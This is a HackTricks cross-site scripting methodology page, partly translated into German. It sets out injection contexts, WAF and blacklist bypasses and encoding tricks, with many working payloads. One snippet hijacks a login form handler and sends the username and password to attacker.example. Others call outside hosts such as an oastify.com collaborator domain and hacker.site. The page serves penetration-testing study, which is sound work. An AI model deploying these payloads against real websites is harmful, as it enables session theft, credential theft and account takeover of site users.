XSS (Cross Site Scripting)

Reading time: 57 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Methodology

  1. Check if any value you control (parameters, path, headers?, cookies?) is being reflected in the HTML or used by JS code.
  2. Find the context where it's reflected/used.
  3. If reflected
  4. Check which symbols can you use and depending on that, prepare the payload:
  5. In raw HTML:
  6. Can you create new HTML tags?
  7. Can you use events or attributes supporting javascript: protocol?
  8. Can you bypass protections?
  9. Is the HTML content being interpreted by any client side JS engine (AngularJS, VueJS, Mavo...), you could abuse a Client Side Template Injection.
  10. If you cannot create HTML tags that execute JS code, could you abuse a Dangling Markup - HTML scriptless injection?
  11. Inside a HTML tag:
  12. Can you exit to raw HTML context?
  13. Can you create new events/attributes to execute JS code?
  14. Does the attribute where you are trapped support JS execution?
  15. Can you bypass protections?
  16. Inside JavaScript code:
  17. Can you escape the <script> tag?
  18. Can you escape the string and execute different JS code?
  19. Are your input in template literals ``?
  20. Can you bypass protections?
  21. Javascript function being executed
  22. You can indicate the name of the function to execute. e.g.: ?callback=alert(1)
  23. If used:
  24. You could exploit a DOM XSS, pay attention how your input is controlled and if your controlled input is used by any sink.

When working on a complex XSS you might find interesting to know about:

Debugging Client Side JS

Reflected values

In order to successfully exploit a XSS the first thing you need to find is a value controlled by you that is being reflected in the web page.

  • Intermediately reflected: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a Reflected XSS.
  • Stored and reflected: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a Stored XSS.
  • Accessed via JS: If you find that a value controlled by you is being access using JS you could exploit a DOM XSS.

Contexts

When trying to exploit a XSS the first thing you need to know if where is your input being reflected. Depending on the context, you will be able to execute arbitrary JS code on different ways.

Raw HTML

If your input is reflected on the raw HTML page you will need to abuse some HTML tag in order to execute JS code: <img , <iframe , <svg , <script ... these are just some of the many possible HTML tags you could use.
Also, keep in mind Client Side Template Injection.

Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

  1. To escape from the attribute and from the tag (then you will be in the raw HTML) and create new HTML tag to abuse: "><img [...]
  2. If you can escape from the attribute but not from the tag (> is encoded or deleted), depending on the tag you could create an event that executes JS code: " autofocus onfocus=alert(1) x="
  3. If you cannot escape from the attribute (" is being encoded or deleted), then depending on which attribute your value is being reflected in if you control all the value or just a part you will be able to abuse it. For example, if you control an event like onclick= you will be able to make it execute arbitrary code when it's clicked. Another interesting example is the attribute href, where you can use the javascript: protocol to execute arbitrary code: href="javascript:alert(1)"
  4. If your input is reflected inside "unexpoitable tags" you could try the accesskey trick to abuse the vuln (you will need some kind of social engineer to exploit this): " accesskey="x" onclick="alert(1)" x="

Weird example of Angular executing XSS if you controls a class name:

html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>

Innerhalb von JavaScript code

In diesem Fall wird Ihre Eingabe zwischen <script> [...] </script> Tags einer HTML-Seite, innerhalb einer .js Datei oder innerhalb eines Attributs, das das javascript:-Protokoll verwendet, reflektiert:

  • Wenn die Eingabe zwischen <script> [...] </script> Tags reflektiert wird, selbst wenn Ihre Eingabe innerhalb irgendeiner Art von Anführungszeichen steht, können Sie versuchen </script> zu injizieren und aus diesem Kontext zu entkommen. Das funktioniert, weil der Browser zuerst die HTML-Tags parst und dann den Inhalt; daher wird er nicht bemerken, dass Ihr injiziertes </script> Tag innerhalb des HTML code ist.
  • Wenn es innerhalb eines JS-Strings reflektiert wird und der letzte Trick nicht funktioniert, müssen Sie den String verlassen, Ihren Code ausführen und den JS code rekonstruieren (wenn ein Fehler auftritt, wird er nicht ausgeführt:
  • '-alert(1)-'
  • ';-alert(1)//
  • \';alert(1)//
  • Wenn es innerhalb von template literals reflektiert wird, können Sie JS-Ausdrücke einbetten mit der ${ ... }-Syntax: var greetings = `Hello, ${alert(1)}`
  • Unicode encode funktioniert, um valid javascript code zu schreiben:
javascript
alert(1)
alert(1)
alert(1)

Javascript Hoisting

Javascript Hoisting references the opportunity to Funktionen, Variablen oder Klassen nach ihrer Verwendung zu deklarieren, sodass du Szenarien ausnutzen kannst, in denen ein XSS undeclared variables or functions verwendet.
Weitere Informationen auf der folgenden Seite:

JS Hoisting

Javascript Function

Mehrere Webseiten haben Endpunkte, die als Parameter den Namen der auszuführenden Funktion akzeptieren. Ein häufiges Beispiel in der Praxis ist etwas wie: ?callback=callbackFunc.

Eine gute Methode, um herauszufinden, ob etwas, das direkt vom Nutzer kommt, versucht ausgeführt zu werden, ist den Parameterwert zu ändern (zum Beispiel zu 'Vulnerable') und in der Konsole nach Fehlern wie:

Falls es verwundbar ist, könntest du in der Lage sein, ein alert auszulösen, indem du einfach den Wert sendest: ?callback=alert(1). Allerdings ist es sehr üblich, dass diese Endpunkte den Inhalt validieren, um nur Buchstaben, Zahlen, Punkte und Unterstriche zuzulassen ([\w\._]).

Selbst mit dieser Einschränkung ist es jedoch weiterhin möglich, einige Aktionen durchzuführen. Das liegt daran, dass du mit diesen zulässigen Zeichen auf beliebige Elemente im DOM zugreifen kannst:

Einige nützliche Funktionen dafür:

firstElementChild
lastElementChild
nextElementSibiling
lastElementSibiling
parentElement

Sie können auch versuchen, Javascript-Funktionen direkt auszulösen: obj.sales.delOrders.

Allerdings sind die Endpoints, die die angegebene Funktion ausführen, normalerweise Endpoints ohne viel interessantes DOM; andere Seiten in derselben Origin haben oft ein interessanteres DOM, um mehr Aktionen durchzuführen.

Daher wurde, um diese Schwachstelle in einem anderen DOM auszunutzen, die Same Origin Method Execution (SOME)-Exploitation entwickelt:

SOME - Same Origin Method Execution

DOM

Es gibt JS code, das unsicher einige vom Angreifer kontrollierte Daten wie location.href verwendet. Ein Angreifer könnte dies missbrauchen, um beliebigen JS-Code auszuführen.

DOM XSS

Universal XSS

Diese Art von XSS kann überall gefunden werden. Sie hängen nicht nur von der Client-Exploitation einer Webanwendung ab, sondern von jedem Kontext. Diese Art von arbitrary JavaScript execution kann sogar missbraucht werden, um RCE zu erlangen, beliebige Dateien auf Clients und Servern zu lesen und mehr.
Einige Beispiele:

Server Side XSS (Dynamic PDF)

Electron Desktop Apps

WAF bypass encoding image

from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21

Injecting inside raw HTML

Wenn deine Eingabe innerhalb der HTML-Seite reflektiert wird oder du in diesem Kontext HTML-Code escapen und injizieren kannst, ist das erste, was du tun musst, zu prüfen, ob du < zum Erstellen neuer Tags missbrauchen kannst: Versuche einfach, dieses Zeichen zu reflektieren und prüfe, ob es HTML-encodiert wird, gelöscht wird oder unverändert reflektiert wird. Nur im letzten Fall kannst du dies ausnutzen.
Für diese Fälle beachte auch Client Side Template Injection.
Hinweis: Ein HTML-Kommentar kann mit --> oder --!> geschlossen werden

In diesem Fall und wenn keine Black-/Whitelist verwendet wird, kannst du Payloads wie:

html
<script>
alert(1)
</script>
<img src="x" onerror="alert(1)" />
<svg onload=alert('XSS')>

Aber wenn tags/attributes Black-/Whitelisting verwendet wird, musst du brute-force which tags herausfinden, die du erstellen kannst.
Sobald du located which tags are allowed hast, musst du brute-force attributes/events innerhalb der gefundenen gültigen tags durchführen, um zu sehen, wie du den Kontext angreifen kannst.

Tags/Events brute-force

Rufe https://portswigger.net/web-security/cross-site-scripting/cheat-sheet auf und klicke auf Copy tags to clipboard. Schicke dann alle mit Burp intruder und prüfe, ob irgendein Tag vom WAF nicht als bösartig erkannt wurde. Sobald du herausgefunden hast, welche tags du verwenden kannst, kannst du brute force all the events mit den gültigen tags testen (auf derselben Seite auf Copy events to clipboard klicken und die gleiche Vorgehensweise wie zuvor anwenden).

Custom tags

Wenn du kein gültiges HTML-Tag gefunden hast, kannst du versuchen, ein create a custom tag zu erstellen und JS-Code mit dem onfocus-Attribut auszuführen. In der XSS request musst du die URL mit # beenden, damit die Seite focus on that object und der Code execute:

/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x

Blacklist Bypasses

Wenn irgendeine Art von blacklist verwendet wird, könntest du versuchen, sie mit einigen einfachen Tricks zu bypassen:

javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG

//Double tag, in case just the first match is removed
<script><script>
<scr<script>ipt>
<SCRscriptIPT>alert(1)</SCRscriptIPT>

//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09

//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>

//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
<script/random>alert(1)</script>
<script      ///Note the newline
>alert(1)</script>
<scr\x00ipt>alert(1)</scr\x00ipt>

//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //

//Extra open
<<script>alert("XSS");//<</script>

//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">

//Using `` instead of parenthesis
onerror=alert`1`

//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //

Length bypass (small XSSs)

[!NOTE] > Mehr tiny XSS payloads für verschiedene Umgebungen finden Sie hier und hier.

html
<!-- Taken from the blog of Jorge Lajara -->
<svg/onload=alert``> <script src=//aa.es> <script src=//℡㏛.pw>

Das letzte verwendet 2 Unicode-Zeichen, die sich zu 5 erweitern: telsr
Mehr dieser Zeichen finden Sie hier.
Um zu prüfen, in welche Zeichen sie zerlegt werden, prüfen Sie hier.

Click XSS - Clickjacking

Wenn Sie, um die Vulnerability auszunutzen, benötigen, dass der user auf einen Link oder ein Formular klickt mit vorausgefüllten Daten, könnten Sie versuchen, Clickjacking auszunutzen (falls die Seite verwundbar ist).

Unmöglich - Dangling Markup

Wenn Sie denken, dass es unmöglich ist, ein HTML-Tag mit einem Attribut zu erstellen, das JS-Code ausführt, sollten Sie Danglig Markup because Sie die Vulnerability ohne Ausführung von JS Code exploiten könnten.

In ein HTML-Tag injizieren

Innerhalb des Tags / Aus dem Attributwert entkommen

Wenn Sie innerhalb eines HTML-Tags sind, ist das Erste, was Sie versuchen könnten, aus dem Tag zu escapen und einige der in dem vorherigen Abschnitt erwähnten Techniken zu verwenden, um JS-Code auszuführen.
Wenn Sie nicht aus dem Tag entkommen können, könnten Sie neue Attribute innerhalb des Tags erstellen, um zu versuchen, JS-Code auszuführen, zum Beispiel mit einem Payload wie (note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag):

bash
" autofocus onfocus=alert(document.domain) x="
" onfocus=alert(1) id=x tabindex=0 style=display:block>#x #Access http://site.com/?#x t

Style-Ereignisse

python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>

Within the attribute

Auch wenn du nicht aus dem Attribut entkommen kannst (" wird enkodiert oder gelöscht), hängt es davon ab, in welchem Attribut dein Wert reflektiert wird und ob du den gesamten Wert oder nur einen Teil kontrollierst — du wirst es missbrauchen können. Zum Beispiel, wenn du ein Event wie onclick= kontrollierst, kannst du es so ausführen lassen, dass beim Klick beliebiger Code ausgeführt wird.
Ein weiteres interessantes Beispiel ist das Attribut href, bei dem du das javascript:-Protokoll verwenden kannst, um beliebigen Code auszuführen: href="javascript:alert(1)"

Bypass innerhalb von Event-Handlern mittels HTML-Encoding/URL-Encoding

Die HTML-enkodierten Zeichen innerhalb des Werts von HTML-Tag-Attributen werden zur Laufzeit decodiert. Daher ist etwas wie das Folgende gültig (die Payload ist fett dargestellt): <a id="author" href="http://none" onclick="var tracker='http://foo?&apos;-alert(1)-&apos;';">Go Back </a>

Beachte, dass jede Art von HTML-Encoding gültig ist:

javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">a</a>
<a href="&#106;avascript:alert(2)">a</a>
<a href="jav&#x61script:alert(3)">a</a>

Beachte, dass URL encode ebenfalls funktioniert:

python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>

Bypass innerhalb eines Events mit Unicode encode

javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />

Spezielle Protokolle im Attribut

Dort kannst du die Protokolle javascript: oder data: an einigen Stellen verwenden, um beliebigen JS-Code auszuführen. Manche erfordern eine Benutzerinteraktion, andere nicht.

javascript
javascript:alert(1)
JavaSCript:alert(1)
javascript:%61%6c%65%72%74%28%31%29 //URL encode
javascript&colon;alert(1)
javascript&#x003A;alert(1)
javascript&#58;alert(1)
javascript:alert(1)
java        //Note the new line
script:alert(1)

data:text/html,<script>alert(1)</script>
DaTa:text/html,<script>alert(1)</script>
data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e
data:text/html;charset=UTF-8,<script>alert(1)</script>
data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=
data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg
data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==

Orte, an denen du diese Protokolle injizieren kannst

Im Allgemeinen kann das javascript:-Protokoll in jedem Tag verwendet werden, das das Attribut href akzeptiert, und in den meisten Tags, die das Attribut src akzeptieren (aber nicht <img>).

html
<a href="javascript:alert(1)">
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<form action="javascript:alert(1)"><button>send</button></form>
<form id=x></form><button form="x" formaction="javascript:alert(1)">send</button>
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>

<object data="data:text/html,<script>alert(5)</script>">
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
<iframe src="data:text/html,<script>alert(5)</script>"></iframe>

//Special cases
<object data="//hacker.site/xss.swf"> .//https://github.com/evilcos/xss.swf
<embed code="//hacker.site/xss.swf" allowscriptaccess=always> //https://github.com/evilcos/xss.swf
<iframe srcdoc="<svg onload=alert(4);>">

Andere obfuscation tricks

In diesem Fall sind die HTML encoding- und Unicode encoding-Tricks aus dem vorherigen Abschnitt ebenfalls gültig, da du dich innerhalb eines Attributs befindest.

javascript
<a href="javascript:var a='&apos;-alert(1)-&apos;'">

Außerdem gibt es einen weiteren netten Trick für diese Fälle: Selbst wenn deine Eingabe innerhalb von javascript:... URL encoded wird, wird sie vor der Ausführung URL decoded. Wenn du also escape aus dem string mit einem single quote durchführen musst und siehst, dass es URL encoded wird, denk daran, dass das keine Rolle spielt, es wird interpretiert als ein single quote während der Ausführungszeit.

javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>

Beachte, dass wenn du versuchst, beide URLencode + HTMLencode in beliebiger Reihenfolge zu verwenden, um das payload zu encodieren, es nicht funktioniert, aber du kannst sie innerhalb des payload mischen.

Verwendung von Hex und Octal encode mit javascript:

Du kannst Hex und Octal encode innerhalb des src-Attributs von iframe (zumindest) verwenden, um HTML tags to execute JS zu deklarieren:

javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />

Reverse tab nabbing

javascript
<a target="_blank" rel="opener"

Wenn du eine beliebige URL in einem beliebigen <a href=-Tag injizieren kannst, das die Attribute target="_blank" and rel="opener" enthält, siehe die folgende Seite, um dieses Verhalten auszunutzen:

Reverse Tab Nabbing

on Event Handlers Bypass

Prüfe zuerst diese Seite (https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) auf nützliche "on" event handlers.
Falls eine Blacklist das Erstellen dieser event handlers verhindert, kannst du die folgenden Bypasses versuchen:

javascript
<svg onload%09=alert(1)> //No safari
<svg %09onload=alert(1)>
<svg %09onload%20=alert(1)>
<svg onload%09%20%28%2c%3b=alert(1)>

//chars allowed between the onevent and the "="
IExplorer: %09 %0B %0C %020 %3B
Chrome: %09 %20 %28 %2C %3B
Safari: %2C %3B
Firefox: %09 %20 %28 %2C %3B
Opera: %09 %20 %2C %3B
Android: %09 %20 %28 %2C %3B

Aus here ist es jetzt möglich, hidden inputs mit:

html
<button popvertarget="x">Click me</button>
<input type="hidden" value="y" popover id="x" onbeforetoggle="alert(1)" />

Und in meta tags:

html
<!-- Injection inside meta attribute-->
<meta
name="apple-mobile-web-app-title"
content=""
Twitter
popover
id="newsletter"
onbeforetoggle="alert(2)" />
<!-- Existing target-->
<button popovertarget="newsletter">Subscribe to newsletter</button>
<div popover id="newsletter">Newsletter popup</div>

Von here: Sie können eine XSS payload inside a hidden attribute ausführen, vorausgesetzt, Sie können persuade victim dazu bringen, die key combination zu drücken. Unter Firefox auf Windows/Linux ist die key combination ALT+SHIFT+X und unter OS X ist sie CTRL+ALT+X. Sie können eine andere Tastenkombination angeben, indem Sie einen anderen Schlüssel im access key attribute verwenden. Hier ist der Vektor:

html
<input type="hidden" accesskey="X" onclick="alert(1)">

Das XSS payload wird in etwa so aussehen: " accesskey="x" onclick="alert(1)" x="

Blacklist Bypasses

Mehrere Tricks mit verschiedenen Encodings wurden bereits in diesem Abschnitt gezeigt. Geh zurück, um zu lernen, wo du verwenden kannst:

  • HTML encoding (HTML tags)
  • Unicode encoding (can be valid JS code): \u0061lert(1)
  • URL encoding
  • Hex and Octal encoding
  • data encoding

Bypasses for HTML tags and attributes

Lies die Blacklist Bypasses of the previous section.

Bypasses for JavaScript code

Lies die JavaScript bypass blacklist of the following section.

CSS-Gadgets

Wenn du ein XSS in einem sehr kleinen Teil der Webseite findest, der eine Art Interaktion erfordert (z. B. ein kleiner Link im Footer mit einem onmouseover-Element), kannst du versuchen, den Platz, den das Element einnimmt, zu verändern, um die Wahrscheinlichkeit zu maximieren, dass der Link ausgelöst wird.

For example, you could add some styling in the element like: position: fixed; top: 0; left: 0; width: 100%; height: 100%; background-color: red; opacity: 0.5

But, if the WAF is filtering the style attribute, you can use CSS Styling Gadgets, so if you find, for example

.test {display:block; color: blue; width: 100%}

and

#someid {top: 0; font-family: Tahoma;}

Now you can modify our link and bring it to the form

<a href="" id=someid class=test onclick=alert() a="">

Dieser Trick stammt von https://medium.com/@skavans_/improving-the-impact-of-a-mouse-related-xss-with-styling-and-css-gadgets-b1e5dec2f703

Injecting inside JavaScript code

In diesem Fall wird dein input innerhalb des JS-Codes eines .js file oder zwischen <script>...</script> tags oder zwischen HTML events, die JS code ausführen können, oder zwischen Attributen, die das javascript:-Protokoll akzeptieren, reflektiert.

Escaping <script> tag

If your code is inserted within <script> [...] var input = 'reflected data' [...] </script> you could easily escape closing the <script> tag:

javascript
</script><img src=1 onerror=alert(document.domain)>

Beachte, dass in diesem Beispiel wir das einfache Anführungszeichen nicht einmal geschlossen haben. Das liegt daran, dass HTML parsing zuerst vom browser durchgeführt wird, was das Identifizieren von Seitenelementen einschließt, einschließlich script-Blöcken. Das Parsen von JavaScript, um die eingebetteten scripts zu verstehen und auszuführen, erfolgt erst danach.

Innerhalb von JS Code

Wenn <> bereinigt werden, kannst du dennoch an der Stelle, an der deine Eingabe located ist, die escape the string durchführen und beliebiges execute arbitrary JS ausführen. Es ist wichtig, die fix JS syntax durchzuführen, denn wenn Fehler vorhanden sind, wird der JS code nicht ausgeführt:

'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//

JS-in-JS string break → inject → repair pattern

Wenn user input innerhalb eines quoted JavaScript string landet (z. B. server-side echo in einem inline script), kannst du die Zeichenkette beenden, code injecten und die syntax reparieren, damit das Parsing weiterhin gültig ist. Generisches Gerüst:

"            // end original string
;            // safely terminate the statement
<INJECTION>  // attacker-controlled JS
; a = "      // repair and resume expected string/statement

Beispiel-URL-Muster, wenn der verwundbare Parameter in einen JS-String reflektiert wird:

?param=test";<INJECTION>;a="

Dies führt angreiferseitigen JS-Code aus, ohne den HTML-Kontext anfassen zu müssen (pure JS-in-JS). Kombiniere es mit den unten stehenden blacklist bypasses, wenn Filter Keywords blockieren.

Template literals ``

Um strings zu konstruieren akzeptiert JS neben einfachen und doppelten Anführungszeichen auch backticks ``. Das wird als template literals bezeichnet, da sie die Verwendung von embedded JS expressions mit der ${ ... }-Syntax erlauben.
Wenn deine Eingabe also in einer JS string, die backticks verwendet, reflected wird, kannst du die ${ ... }-Syntax ausnutzen, um arbitrary JS code auszuführen:

Das kann ausgenutzt werden mit:

javascript
;`${alert(1)}``${`${`${`${alert(1)}`}`}`}`
javascript
// This is valid JS code, because each time the function returns itself it's recalled with ``
function loop() {
return loop
}
loop``

Kodierte code execution

html
<script>\u0061lert(1)</script>
<svg><script>alert&lpar;'1'&rpar;
<svg><script>alert(1)</script></svg>  <!-- The svg tags are neccesary
<iframe srcdoc="<SCRIPT>alert(1)</iframe>">

Lieferbare payloads mit eval(atob()) und Scope-Nuancen

Um URLs kürzer zu halten und naive Keyword-Filter zu umgehen, kannst du deine eigentliche Logik base64-kodieren und mit eval(atob('...')) ausführen. Wenn einfache Keyword-Filter Bezeichner wie alert, eval oder atob blockieren, verwende Unicode-Escape-Bezeichner, die im Browser identisch kompiliert werden, aber stringbasierte Filter umgehen:

\u0061\u006C\u0065\u0072\u0074(1)                      // alert(1)
\u0065\u0076\u0061\u006C(\u0061\u0074\u006F\u0062('BASE64'))  // eval(atob('...'))

Wichtiger Hinweis zum Scoping: Innerhalb von eval() deklarierte const/let sind blockgebunden und erzeugen KEINE globalen Variablen; sie sind für nachfolgende Skripte nicht zugänglich. Verwende ein dynamisch eingefügtes <script>-Element, um bei Bedarf globale, nicht überschreibbare Hooks zu definieren (e.g., to hijack a form handler):

javascript
var s = document.createElement('script');
s.textContent = "const DoLogin = () => {const pwd = Trim(FormInput.InputPassword.value); const user = Trim(FormInput.InputUtente.value); fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));}";
document.head.appendChild(s);

Referenz: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval

Unicode-kodierte JS-Ausführung

javascript
alert(1)
alert(1)
alert(1)

JavaScript-Bypass-Blacklist-Techniken

Strings

javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
"\h\e\l\l\o"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
"\a\l\ert\(1\)"
atob("dGhpc2lzYXN0cmluZw==")
eval(8680439..toString(30))(983801..toString(36))

Spezielle Escape-Sequenzen

javascript
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
"\b" //backspace
"\f" //form feed
"\n" //new line
"\r" //carriage return
"\t" //tab
// Any other char escaped is just itself

Leerzeichen-Substitutionen innerhalb von JS-Code

javascript
<TAB>
/**/

JavaScript comments (aus dem JavaScript Comments Trick)

javascript
//This is a 1 line comment
/* This is a multiline comment*/
<!--This is a 1line comment
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line

JavaScript new lines (vom JavaScript new line Trick)

javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10)
alert("//\nalert(1)") //0x0a
String.fromCharCode(13)
alert("//\ralert(1)") //0x0d
String.fromCharCode(8232)
alert("//\u2028alert(1)") //0xe2 0x80 0xa8
String.fromCharCode(8233)
alert("//\u2029alert(1)") //0xe2 0x80 0xa9

JavaScript Leerzeichen

javascript
log=[];
function funct(){}
for(let i=0;i<=0x10ffff;i++){
try{
eval(`funct${String.fromCodePoint(i)}()`);
log.push(i);
}
catch(e){}
}
console.log(log)
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279

//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
<img/src/onerror=alert&#65279;(1)>

Javascript in einem Kommentar

javascript
//If you can only inject inside a JS comment, you can still leak something
//If the user opens DevTools request to the indicated sourceMappingURL will be send

//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com

JavaScript ohne Klammern

javascript
// By setting location
window.location='javascript:alert\x281\x29'
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
// or any DOMXSS sink such as location=name

// Backtips
// Backtips pass the string as an array of lenght 1
alert`1`

// Backtips + Tagged Templates + call/apply
eval`alert\x281\x29` // This won't work as it will just return the passed array
setTimeout`alert\x281\x29`
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x281\x29`]}`
[].sort.call`${alert}1337`
[].map.call`${eval}\\u{61}lert\x281337\x29`

// To pass several arguments you can use
function btt(){
console.log(arguments);
}
btt`${'arg1'}${'arg2'}${'arg3'}`

//It's possible to construct a function and call it
Function`x${'alert(1337)'}x`

// .replace can use regexes and call a function if something is found
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
"a".replace.call`1${/./}${alert}`
// This happened in the previous example
// Change "this" value of call to "1,"
// match anything with regex /./
// call alert with "1"
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead

// Using Reflect.apply to call any function with any argumnets
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
// Using Reflect.set to call set any value to a variable
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.



// valueOf, toString
// These operations are called when the object is used as a primitive
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
valueOf=alert;window+''
toString=alert;window+''


// Error handler
window.onerror=eval;throw"=alert\x281\x29";
onerror=eval;throw"=alert\x281\x29";
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
{onerror=eval}throw"=alert(1)" //No ";"
onerror=alert //No ";" using new line
throw 1337
// Error handler + Special unicode separators
eval("onerror=\u2028alert\u2029throw 1337");
// Error handler + Comma separator
// The comma separator goes through the list and returns only the last element
var a = (1,2,3,4,5,6) // a = 6
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
throw onerror=alert,1,1,1,1,1,1337
// optional exception variables inside a catch clause.
try{throw onerror=alert}catch{throw 1}


// Has instance symbol
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.

Beliebiger Funktionsaufruf (alert)

javascript
//Eval like functions
eval('ale'+'rt(1)')
setTimeout('ale'+'rt(2)');
